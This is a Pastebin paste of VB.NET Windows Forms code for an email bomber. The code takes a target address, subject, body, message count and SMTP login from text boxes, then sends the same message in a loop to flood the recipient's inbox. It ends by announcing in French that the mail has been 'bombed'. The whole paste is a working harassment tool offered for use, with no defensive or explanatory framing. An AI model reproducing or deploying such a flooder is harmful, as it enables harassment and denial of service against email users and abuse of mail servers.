Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim Nombres As Integer = TextBox2.Text
- Dim Sujet As String = TextBox3.Text
- Dim sMailAddy As String = TextBox4.Text
- Dim sPass As String = TextBox5.Text
- Dim sSmtp As String = TextBox6.Text
- Dim iPort As Integer = TextBox7.Text
- sMailAddy = TextBox4.Text
- sPass = TextBox5.Text
- sSmtp = TextBox6.Text
- iPort = TextBox7.Text
- Dim a As Integer
- For a = 1 To TextBox2.Text
- Dim Msg As New MailMessage
- Dim myCredentials As New System.Net.NetworkCredential
- myCredentials.UserName = sMailAddy
- myCredentials.Password = sPass
- Msg.IsBodyHtml = False
- Dim mySmtpsvr As New SmtpClient()
- mySmtpsvr.Host = sSmtp
- mySmtpsvr.Port = iPort
- mySmtpsvr.UseDefaultCredentials = False
- mySmtpsvr.Credentials = myCredentials
- Try
- Msg.From = New MailAddress(sMailAddy)
- Msg.To.Add(TextBox1.Text)
- Msg.Subject = Sujet
- Msg.Body = RichTextBox1.Text
- mySmtpsvr.Send(Msg)
- Catch ex As Exception
- MsgBox(Err.Number & ex.Message & ex.StackTrace.ToString)
- End Try
- Next
- MsgBox("Le mail a bien ete bombarde")
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement